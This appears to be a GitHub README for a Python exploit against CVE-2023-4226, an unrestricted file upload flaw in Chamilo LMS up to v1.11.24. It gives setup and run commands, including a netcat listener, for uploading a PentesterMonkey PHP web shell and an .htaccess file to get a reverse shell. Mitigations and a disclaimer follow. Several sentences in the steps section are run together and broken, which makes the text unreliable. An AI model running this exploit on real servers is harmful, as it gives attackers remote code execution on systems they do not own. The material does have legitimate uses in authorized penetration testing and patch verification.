skyw4r33x/cve-2023-4226Vulnerabilidad de carga de archivos sin restricciones en **Chamilo LMS** (<= v1.11.24).
Python script that automates the exploitation of CVE-2023-4226, an unrestricted file upload vulnerability in Chamilo LMS (<= v1.11.24). Uploads a PHP web shell based on PentesterMonkey and configures .htaccess to achieve a reverse shell. More details: STAR Labs Advisory.
/main/inc/ajax/work.ajax.php, achieving RCE.ch_sid).rce.php with IP and port./main/work/work.php?cidReq=HW./main/inc/ajax/work.ajax.php to upload rce.php and .htaccess./app/cache/rce.php).Python: requests, colorama.
pip install requests colorama
Files: rce.php (PentesterMonkey, included in the repository), .htaccess (generated by the script).
Network: IP and port for the listener (e.g. nc -lvnp 4444).
Clone the repository:
git clone https://github.com/SkyW4r33x/CVE-2023-4226
cd CVE-2023-4226
Assign execution permissions to the script:
chmod +x CVE-2023-4226.py
Install dependencies:
pip install requests colorama
Start the listener in a terminal:
nc -lvnp 4444
Run the script:
./CVE-2023-4226.py
Enter:
ch_sid.Access the web shell to start the reverse shell:
http://<chamilo>/app/cache/rce.php
Example: http://chamilo.local/app/cache/rce.php
Update to Chamilo >= v1.11.26.
Sanitize file names.
Block HTML in disable_dangerous_file().
Add to .htaccess:
RedirectMatch 403 ^/main/inc/lib/javascript/bigupload/files
Header set X-Content-Type-Options nosniff
Exclusive use for authorized testing. Unauthorized use is illegal.